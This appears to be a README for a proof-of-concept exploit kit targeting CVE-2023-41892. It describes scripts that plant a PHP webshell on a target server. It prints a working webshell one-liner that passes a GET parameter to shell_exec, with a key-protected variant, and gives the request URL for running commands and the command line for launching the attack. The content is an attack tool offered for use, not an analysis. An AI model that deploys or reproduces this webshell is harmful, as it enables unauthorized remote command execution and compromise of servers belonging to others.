CVE-2023-41892_poc

Customized this for my own use

poc_noauth.py

• Basic PHP one-liner webshell
• OS command execution via ?cmd=<command>

poc_auth.py

• Simple key-based authentication added webshell (SHA-256 hash comparison method)
• Commands can only be executed if the correct key is provided
• Code modification required:
  • In the drop_payload function, replace the YOUR_SECRET_KEY part in the webshell variable with the SHA-256 hash of the desired key
• Usage:
  1. Replace YOUR_SECRET_KEY in webshell with the SHA-256 hash of the plaintext key
  2. When making requests, send the plaintext key
     root@kitploit:~

     {target}/shell.php?k=<plaintext_key>&c=<command>
     

• Example:
  1. Configuration: plaintext key = test1234
  2. Compute SHA-256 hash using CyberChef etc.: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     • echo -n test1234 | sha256sum
     • cyberchef etc.
  3. Code modification:
     root@kitploit:~

     webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
     

Usage

python poc_noauth.py {target}